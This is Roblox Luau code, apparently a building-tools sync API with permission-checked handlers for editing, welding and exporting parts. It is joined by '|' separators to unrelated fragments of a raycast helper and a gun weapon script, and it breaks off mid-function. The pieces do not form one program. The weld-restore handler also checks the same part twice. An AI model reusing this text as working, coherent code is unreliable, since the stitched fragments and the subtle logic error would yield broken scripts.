-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
Change.InitialState = { Anchored = Change.Part.Anchored, CFrame = Change.Part.CFrame };
ChangeSet[Change.Part] = Change;
end;
end;
-- Preserve joints
for Part, Change in pairs(ChangeSet) do
Change.Joints = PreserveJoints(Part, ChangeSet);
end;
-- Perform each change
for Part, Change in pairs(ChangeSet) do
-- Stabilize the parts and maintain the original anchor state
Part.Anchored = true;
Part:BreakJoints();
Part.Velocity = Vector3.new();
Part.RotVelocity = Vector3.new();
-- Set the part's CFrame
Part.CFrame = Change.CFrame;
end;
-- Make sure the player is authorized to move parts into this area
if Security.ArePartsViolatingAreas(Parts, Player, false, AreaPermissions) then
-- Revert changes if unauthorized destination
for Part, Change in pairs(ChangeSet) do
Part.CFrame = Change.InitialState.CFrame;
end;
end;
-- Restore the parts' original states
for Part, Change in pairs(ChangeSet) do
Part:MakeJoints();
RestoreJoints(Change.Joints);
Part.Anchored = Change.InitialState.Anchored;
end;
end;
['SyncResize'] = function (Changes)
-- Updates parts server-side given their new sizes and CFrames
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
Change.InitialState = { Anchored = Change.Part.Anchored, Size = Change.Part.Size, CFrame = Change.Part.CFrame };
ChangeSet[Change.Part] = Change;
end;
end;
-- Perform each change
for Part, Change in pairs(ChangeSet) do
-- Stabilize the parts and maintain the original anchor state
Part.Anchored = true;
Part:BreakJoints();
Part.Velocity = Vector3.new();
Part.RotVelocity = Vector3.new();
-- Set the part's size and CFrame
Part.Size = Change.Size;
Part.CFrame = Change.CFrame;
end;
-- Make sure the player is authorized to move parts into this area
if Security.ArePartsViolatingAreas(Parts, Player, false, AreaPermissions) then
-- Revert changes if unauthorized destination
for Part, Change in pairs(ChangeSet) do
Part.Size = Change.InitialState.Size;
Part.CFrame = Change.InitialState.CFrame;
end;
end;
-- Restore the parts' original states
for Part, Change in pairs(ChangeSet) do
Part:MakeJoints();
Part.Anchored = Change.InitialState.Anchored;
end;
end;
['SyncRotate'] = function (Changes)
-- Updates parts server-side given their new CFrames
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
Change.InitialState = { Anchored = Change.Part.Anchored, CFrame = Change.Part.CFrame };
ChangeSet[Change.Part] = Change;
end;
end;
-- Preserve joints
for Part, Change in pairs(ChangeSet) do
Change.Joints = PreserveJoints(Part, ChangeSet);
end;
-- Perform each change
for Part, Change in pairs(ChangeSet) do
-- Stabilize the parts and maintain the original anchor state
Part.Anchored = true;
Part:BreakJoints();
Part.Velocity = Vector3.new();
Part.RotVelocity = Vector3.new();
-- Set the part's CFrame
Part.CFrame = Change.CFrame;
end;
-- Make sure the player is authorized to move parts into this area
if Security.ArePartsViolatingAreas(Parts, Player, false, AreaPermissions) then
-- Revert changes if unauthorized destination
for Part, Change in pairs(ChangeSet) do
Part.CFrame = Change.InitialState.CFrame;
end;
end;
-- Restore the parts' original states
for Part, Change in pairs(ChangeSet) do
Part:MakeJoints();
RestoreJoints(Change.Joints);
Part.Anchored = Change.InitialState.Anchored;
end;
end;
['SyncColor'] = function (Changes)
-- Updates parts server-side given their new colors
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Perform each change
for Part, Change in pairs(ChangeSet) do
-- Set the part's color
Part.Color = Change.Color;
-- If this part is a union, set its UsePartColor state
if Part.ClassName == 'UnionOperation' then
Part.UsePartColor = Change.UnionColoring;
end;
end;
end;
['SyncSurface'] = function (Changes)
-- Updates parts server-side given their new surfaces
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Perform each change
for Part, Change in pairs(ChangeSet) do
-- Apply each surface change
for Surface, SurfaceType in pairs(Change.Surfaces) do
Part[Surface .. 'Surface'] = SurfaceType;
end;
end;
end;
['CreateLights'] = function (Changes)
-- Creates lights in the given parts
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Make a list of allowed light type requests
local AllowedLightTypes = { PointLight = true, SurfaceLight = true, SpotLight = true };
-- Keep track of the newly created lights
local Lights = {};
-- Create each light
for Part, Change in pairs(ChangeSet) do
-- Make sure the requested light type is valid
if AllowedLightTypes[Change.LightType] then
-- Create the light
local Light = Instance.new(Change.LightType, Part);
table.insert(Lights, Light);
-- Register the light
CreatedInstances[Light] = Light;
end;
end;
-- Return the new lights
return Lights;
end;
['SyncLighting'] = function (Changes)
-- Updates aspects of the given selection's lights
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Make a list of allowed light type requests
local AllowedLightTypes = { PointLight = true, SurfaceLight = true, SpotLight = true };
-- Update each part's lights
for Part, Change in pairs(ChangeSet) do
-- Make sure that the light type requested is valid
if AllowedLightTypes[Change.LightType] then
-- Grab the part's light
local Light = Support.GetChildOfClass(Part, Change.LightType);
-- Make sure the light exists
if Light then
-- Make the requested changes
if Change.Range ~= nil then
Light.Range = Change.Range;
end;
if Change.Brightness ~= nil then
Light.Brightness = Change.Brightness;
end;
if Change.Color ~= nil then
Light.Color = Change.Color;
end;
if Change.Shadows ~= nil then
Light.Shadows = Change.Shadows;
end;
if Change.Face ~= nil then
Light.Face = Change.Face;
end;
if Change.Angle ~= nil then
Light.Angle = Change.Angle;
end;
end;
end;
end;
end;
['CreateDecorations'] = function (Changes)
-- Creates decorations in the given parts
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Make a list of allowed decoration type requests
local AllowedDecorationTypes = { Smoke = true, Fire = true, Sparkles = true };
-- Keep track of the newly created decorations
local Decorations = {};
-- Create each decoration
for Part, Change in pairs(ChangeSet) do
-- Make sure the requested decoration type is valid
if AllowedDecorationTypes[Change.DecorationType] then
-- Create the decoration
local Decoration = Instance.new(Change.DecorationType, Part);
table.insert(Decorations, Decoration);
-- Register the decoration
CreatedInstances[Decoration] = Decoration;
end;
end;
-- Return the new decorations
return Decorations;
end;
['SyncDecorate'] = function (Changes)
-- Updates aspects of the given selection's decorations
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Make a list of allowed decoration type requests
local AllowedDecorationTypes = { Smoke = true, Fire = true, Sparkles = true };
-- Update each part's decorations
for Part, Change in pairs(ChangeSet) do
-- Make sure that the decoration type requested is valid
if AllowedDecorationTypes[Change.DecorationType] then
-- Grab the part's decoration
local Decoration = Support.GetChildOfClass(Part, Change.DecorationType);
-- Make sure the decoration exists
if Decoration then
-- Make the requested changes
if Change.Color ~= nil then
Decoration.Color = Change.Color;
end;
if Change.Opacity ~= nil then
Decoration.Opacity = Change.Opacity;
end;
if Change.RiseVelocity ~= nil then
Decoration.RiseVelocity = Change.RiseVelocity;
end;
if Change.Size ~= nil then
Decoration.Size = Change.Size;
end;
if Change.Heat ~= nil then
Decoration.Heat = Change.Heat;
end;
if Change.SecondaryColor ~= nil then
Decoration.SecondaryColor = Change.SecondaryColor;
end;
if Change.SparkleColor ~= nil then
Decoration.SparkleColor = Change.SparkleColor;
end;
end;
end;
end;
end;
['CreateMeshes'] = function (Changes)
-- Creates meshes in the given parts
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Keep track of the newly created meshes
local Meshes = {};
-- Create each mesh
for Part, Change in pairs(ChangeSet) do
-- Create the mesh
local Mesh = Instance.new('SpecialMesh', Part);
table.insert(Meshes, Mesh);
-- Register the mesh
CreatedInstances[Mesh] = Mesh;
end;
-- Return the new meshes
return Meshes;
end;
['SyncMesh'] = function (Changes)
-- Updates aspects of the given selection's meshes
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Update each part's meshes
for Part, Change in pairs(ChangeSet) do
-- Grab the part's mesh
local Mesh = Support.GetChildOfClass(Part, 'SpecialMesh');
-- Make sure the mesh exists
if Mesh then
-- Make the requested changes
if Change.VertexColor ~= nil then
Mesh.VertexColor = Change.VertexColor;
end;
if Change.MeshType ~= nil then
Mesh.MeshType = Change.MeshType;
end;
if Change.Scale ~= nil then
Mesh.Scale = Change.Scale;
end;
if Change.Offset ~= nil then
Mesh.Offset = Change.Offset;
end;
if Change.MeshId ~= nil then
Mesh.MeshId = Change.MeshId;
end;
if Change.TextureId ~= nil then
Mesh.TextureId = Change.TextureId;
end;
end;
end;
end;
['CreateTextures'] = function (Changes)
-- Creates textures in the given parts
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Make a list of allowed texture type requests
local AllowedTextureTypes = { Texture = true, Decal = true };
-- Keep track of the newly created textures
local Textures = {};
-- Create each texture
for Part, Change in pairs(ChangeSet) do
-- Make sure the requested light type is valid
if AllowedTextureTypes[Change.TextureType] then
-- Create the texture
local Texture = Instance.new(Change.TextureType, Part);
Texture.Face = Change.Face;
table.insert(Textures, Texture);
-- Register the texture
CreatedInstances[Texture] = Texture;
end;
end;
-- Return the new textures
return Textures;
end;
['SyncTexture'] = function (Changes)
-- Updates aspects of the given selection's textures
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Make a list of allowed texture type requests
local AllowedTextureTypes = { Texture = true, Decal = true };
-- Update each part's textures
for Part, Change in pairs(ChangeSet) do
-- Make sure that the texture type requested is valid
if AllowedTextureTypes[Change.TextureType] then
-- Get the right textures within the part
for _, Texture in pairs(Part:GetChildren()) do
if Texture.ClassName == Change.TextureType and Texture.Face == Change.Face then
-- Perform the changes
if Change.Texture ~= nil then
Texture.Texture = Change.Texture;
end;
if Change.Transparency ~= nil then
Texture.Transparency = Change.Transparency;
end;
if Change.StudsPerTileU ~= nil then
Texture.StudsPerTileU = Change.StudsPerTileU;
end;
if Change.StudsPerTileV ~= nil then
Texture.StudsPerTileV = Change.StudsPerTileV;
end;
end;
end;
end;
end;
end;
['SyncAnchor'] = function (Changes)
-- Updates parts server-side given their new anchor status
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Perform each change
for Part, Change in pairs(ChangeSet) do
Part.Anchored = Change.Anchored;
end;
end;
['SyncCollision'] = function (Changes)
-- Updates parts server-side given their new collision status
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Perform each change
for Part, Change in pairs(ChangeSet) do
Part.CanCollide = Change.CanCollide;
end;
end;
['SyncMaterial'] = function (Changes)
-- Updates parts server-side given their new material
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Perform each change
for Part, Change in pairs(ChangeSet) do
if Change.Material ~= nil then
Part.Material = Change.Material;
end;
if Change.Transparency ~= nil then
Part.Transparency = Change.Transparency;
end;
if Change.Reflectance ~= nil then
Part.Reflectance = Change.Reflectance;
end;
end;
end;
['CreateWelds'] = function (Parts, TargetPart)
-- Creates welds for the given parts to the target part
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
local Welds = {};
-- Create the welds
for _, Part in pairs(Parts) do
-- Make sure we're not welding this part to itself
if Part ~= TargetPart then
-- Calculate the offset of the part from the target part
local Offset = Part.CFrame:toObjectSpace(TargetPart.CFrame);
-- Create the weld
local Weld = Instance.new('Weld');
Weld.Name = 'BTWeld';
Weld.Part0 = TargetPart;
Weld.Part1 = Part;
Weld.C1 = Offset;
Weld.Archivable = true;
Weld.Parent = TargetPart;
-- Register the weld
CreatedInstances[Weld] = Weld;
table.insert(Welds, Weld);
end;
end;
-- Return the welds created
return Welds;
end;
['RemoveWelds'] = function (Welds)
-- Removes the given welds
local Parts = {};
-- Go through each weld
for _, Weld in pairs(Welds) do
-- Make sure each given weld is valid
if Weld.ClassName ~= 'Weld' then
return;
end;
-- Collect the relevant parts for this weld
table.insert(Parts, Weld.Part0);
table.insert(Parts, Weld.Part1);
end;
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
local WeldsRemoved = 0;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Go through each weld
for _, Weld in pairs(Welds) do
-- Check the permissions on each weld-related part
local Part0Unauthorized = Security.ArePartsViolatingAreas({ Weld.Part0 }, Player, true, AreaPermissions);
local Part1Unauthorized = Security.ArePartsViolatingAreas({ Weld.Part1 }, Player, true, AreaPermissions);
-- If at least one of the involved parts is authorized, remove the weld
if not Part0Unauthorized or not Part1Unauthorized then
-- Register the weld
CreatedInstances[Weld] = Weld;
LastParents[Weld] = Weld.Parent;
WeldsRemoved = WeldsRemoved + 1;
-- Remove the weld
Weld.Parent = nil;
end;
end;
-- Return the number of welds removed
return WeldsRemoved;
end;
['UndoRemovedWelds'] = function (Welds)
-- Restores the given removed welds
local Parts = {};
-- Go through each weld
for _, Weld in pairs(Welds) do
-- Make sure each given weld is valid
if Weld.ClassName ~= 'Weld' then
return;
end;
-- Make sure each weld has its old parent registered
if not LastParents[Weld] then
return;
end;
-- Collect the relevant parts for this weld
table.insert(Parts, Weld.Part0);
table.insert(Parts, Weld.Part1);
end;
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Go through each weld
for _, Weld in pairs(Welds) do
-- Check the permissions on each weld-related part
local Part0Unauthorized = Security.ArePartsViolatingAreas({ Weld.Part0 }, Player, false, AreaPermissions);
local Part1Unauthorized = Security.ArePartsViolatingAreas({ Weld.Part0 }, Player, false, AreaPermissions);
-- If at least one of the involved parts is authorized, restore the weld
if not Part0Unauthorized or not Part1Unauthorized then
-- Store the part's current parent
local LastParent = LastParents[Weld];
LastParents[Weld] = Weld.Parent;
-- Register the weld
CreatedInstances[Weld] = Weld;
-- Set the weld's parent to the last parent
Weld.Parent = LastParent;
end;
end;
end;
['Export'] = function (Parts)
-- Serializes, exports, and returns ID for importing given parts
-- Offload action to server-side if API is running locally
if RunService:IsClient() and not RunService:IsStudio() then
return SyncAPI.ServerEndpoint:InvokeServer('Export', Parts);
end;
-- Ensure valid selection
assert(type(Parts) == 'table', 'Invalid item table');
-- Ensure there are items to export
if #Parts == 0 then
return;
end;
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to access these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Get all descendants of the parts
local Items = Support.CloneTable(Parts);
for _, Part in pairs(Parts) do
Support.ConcatTable(Items, Part:GetDescendants());
end;
-- After confirming permissions, serialize parts
local SerializedBuildData = Serialization.SerializeModel(Items);
-- Push serialized data to server
local Response = HttpService:JSONDecode(
HttpService:PostAsync(
'http://f3xteam.com/bt/export',
HttpService:JSONEncode { data = SerializedBuildData, version = 3, userId = (Player and Player.UserId) },
Enum.HttpContentType.ApplicationJson,
true
)
);
-- Return creation ID on success
if Response.success then
return Response.id;
else
error('Export failed due to server-side error', 2);
end;
end;
['IsHttpServiceEnabled'] = function ()
-- Returns whether HttpService is enabled
-- Offload action to server-side if API is running locally
if RunService:IsClient() and not RunService:IsStudio() then
return SyncAPI.ServerEndpoint:InvokeServer('IsHttpServiceEnabled');
end;
-- For in-game tool, return cached status if available
if ToolMode == 'Tool' and (IsHttpServiceEnabled ~= nil) then
return IsHttpServiceEnabled;
end;
-- Perform test HTTP request
local Success, Error = pcall(function ()
return HttpService:GetAsync('http://google.com');
end);
-- Determine whether HttpService is enabled
if not Success and Error:match 'Http requests are not enabled' then
IsHttpServiceEnabled = false;
elseif Success then
IsHttpServiceEnabled = true;
end;
-- Return HttpService status
return IsHttpServiceEnabled;
end;
['ExtractMeshFromAsset'] = function (AssetId)
-- Returns the first found mesh in the given asset
-- Offload action to server-side if API is running locally
if RunService:IsClient() and not RunService:IsStudio() then
return SyncAPI.ServerEndpoint:InvokeServer('ExtractMeshFromAsset', AssetId);
end;
-- Ensure valid asset ID is given
assert(type(AssetId) == 'number', 'Invalid asset ID');
-- Return parsed response from API
return HttpService:JSONDecode(
HttpService:GetAsync('http://f3xteam.com/bt/getFirstMeshData/' .. AssetId)
);
end;
['ExtractImageFromDecal'] = function (DecalAssetId)
-- Returns the first image found in the given decal asset
-- Offload action to server-side if API is running locally
if RunService:IsClient() and not RunService:IsStudio() then
return SyncAPI.ServerEndpoint:InvokeServer('ExtractImageFromDecal', DecalAssetId);
end;
-- Return direct response from the API
return HttpService:GetAsync('http://f3xteam.com/bt/getDecalImageID/' .. DecalAssetId);
end;
['SetMouseLockEnabled'] = function (Enabled)
-- Sets whether mouse lock is enabled for the current player
-- Offload action to server-side if API is running locally
if RunService:IsClient() and not RunService:IsStudio() then
return SyncAPI.ServerEndpoint:InvokeServer('SetMouseLockEnabled', Enabled);
end;
-- Set whether mouse lock is enabled
Player.DevEnableMouseLock = Enabled;
end;
['SetLocked'] = function (Items, Locked)
-- Locks or unlocks the specified parts
-- Validate arguments
assert(type(Items) == 'table', 'Invalid items')
assert(type(Locked) == 'table' or type(Locked) == 'boolean', 'Invalid lock state')
-- Check if items modifiable
if not CanModifyItems(Items) then
return
end
-- Check if parts intruding into private areas
local Parts = GetPartsFromSelection(Items)
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player)
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return
end
-- Set each item to a different lock state
if type(Locked) == 'table' then
for Key, Item in pairs(Items) do
local Locked = Locked[Key]
Item.Locked = Locked
end
-- Set to single lock state
elseif type(Locked) == 'boolean' then
for _, Item in pairs(Items) do
Item.Locked = Locked
end
end
end
}
function CanModifyItems(Items)
-- Returns whether the items can be modified
-- Check each item
for _, Item in pairs(Items) do
-- Catch items that cannot be reached
local ItemAllowed = Security.IsItemAllowed(Item, Player)
local LastParentKnown = LastParents[Item]
if not (ItemAllowed or LastParentKnown) then
return false
end
-- Catch locked parts
if Options.DisallowLocked and (Item:IsA 'BasePart') and Item.Locked then
return false
end
end
-- Return true if all items modifiable
return true
end
function GetPartsFromSelection(Selection)
local Parts = {}
-- Get parts from selection
for _, Item in pairs(Selection) do
if Item:IsA 'BasePart' then
Parts[#Parts + 1] = Item
-- Get parts within other items
else
for _, Descendant in pairs(Item:GetDescendants()) do
if Descendant:IsA 'BasePart' then
Parts[#Parts + 1] = Descendant
end
end
end
end
-- Return parts
return Parts
end
|
-- @preconditions: vec should be a unit vector, and 0 < rayLength <= 1000
|
function RayCast(startPos, vec, rayLength)
local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
if hitObject and hitPos then
local distance = rayLength - (hitPos - startPos).magnitude
if RayIgnoreCheck(hitObject, hitPos) and distance > 0 then
-- there is a chance here for potential infinite recursion
return RayCast(hitPos, vec, distance)
end
end
return hitObject, hitPos
end
function TagHumanoid(humanoid, player)
-- Add more tags here to customize what tags are available.
while humanoid:FindFirstChild('creator') do
humanoid:FindFirstChild('creator'):Destroy()
end
local creatorTag = Instance.new("ObjectValue")
creatorTag.Value = player
creatorTag.Name = "creator"
creatorTag.Parent = humanoid
DebrisService:AddItem(creatorTag, 1.5)
local weaponIconTag = Instance.new("StringValue")
weaponIconTag.Value = IconURL
weaponIconTag.Name = "icon"
weaponIconTag.Parent = creatorTag
end
local function CreateBullet(bulletPos)
local bullet = Instance.new('Part', Workspace)
bullet.FormFactor = Enum.FormFactor.Custom
bullet.Size = Vector3.new(0.1, 0.1, 0.1)
bullet.BrickColor = BrickColor.new("Black")
bullet.Shape = Enum.PartType.Block
bullet.CanCollide = false
bullet.CFrame = CFrame.new(bulletPos)
bullet.Anchored = true
bullet.TopSurface = Enum.SurfaceType.Smooth
bullet.BottomSurface = Enum.SurfaceType.Smooth
bullet.Name = 'Bullet'
DebrisService:AddItem(bullet, 2.5)
local shell = Instance.new("Part")
shell.CFrame = Tool.Handle.CFrame * CFrame.fromEulerAnglesXYZ(1.5,0,0)
shell.Size = Vector3.new(1,1,1)
shell.BrickColor = BrickColor.new(226)
shell.Parent = game.Workspace
shell.CFrame = script.Parent.Handle.CFrame
shell.CanCollide = false
shell.Transparency = 0
shell.BottomSurface = 0
shell.TopSurface = 0
shell.Name = "Shell"
shell.Velocity = Tool.Handle.CFrame.lookVector * 35 + Vector3.new(math.random(-10,10),20,math.random(-10,20))
shell.RotVelocity = Vector3.new(0,200,0)
DebrisService:AddItem(shell, 1)
local shellmesh = Instance.new("SpecialMesh")
shellmesh.Scale = Vector3.new(.15,.4,.15)
shellmesh.Parent = shell
return bullet
end
local function Reload()
if not Reloading then
Reloading = true
-- Don't reload if you are already full or have no extra ammo
if AmmoInClip ~= ClipSize and SpareAmmo > 0 then
if RecoilTrack then
RecoilTrack:Stop()
end
if WeaponGui and WeaponGui:FindFirstChild('Crosshair') then
if WeaponGui.Crosshair:FindFirstChild('ReloadingLabel') then
WeaponGui.Crosshair.ReloadingLabel.Visible = true
end
end
if ReloadTrack then
ReloadTrack:Play()
end
script.Parent.Handle.Reload:Play()
wait(ReloadTime)
-- Only use as much ammo as you have
local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo)
AmmoInClip = AmmoInClip + ammoToUse
SpareAmmo = SpareAmmo - ammoToUse
UpdateAmmo(AmmoInClip)
--WeaponGui.Reload.Visible = false
if ReloadTrack then
ReloadTrack:Stop()
end
end
Reloading = false
end
end
function OnFire()
if IsShooting then return end
if MyHumanoid and MyHumanoid.Health > 0 then
if RecoilTrack and AmmoInClip > 0 then
RecoilTrack:Play()
end
IsShooting = true
while LeftButtonDown and AmmoInClip > 0 and not Reloading do
if Spread and not DecreasedAimLastShot then
Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount)
UpdateCrosshair(Spread)
end
DecreasedAimLastShot = not DecreasedAimLastShot
if Handle:FindFirstChild('FireSound') then
Pitch.Pitch = .8 + (math.random() * .5)
Handle.FireSound:Play()
Handle.Flash.Enabled = true
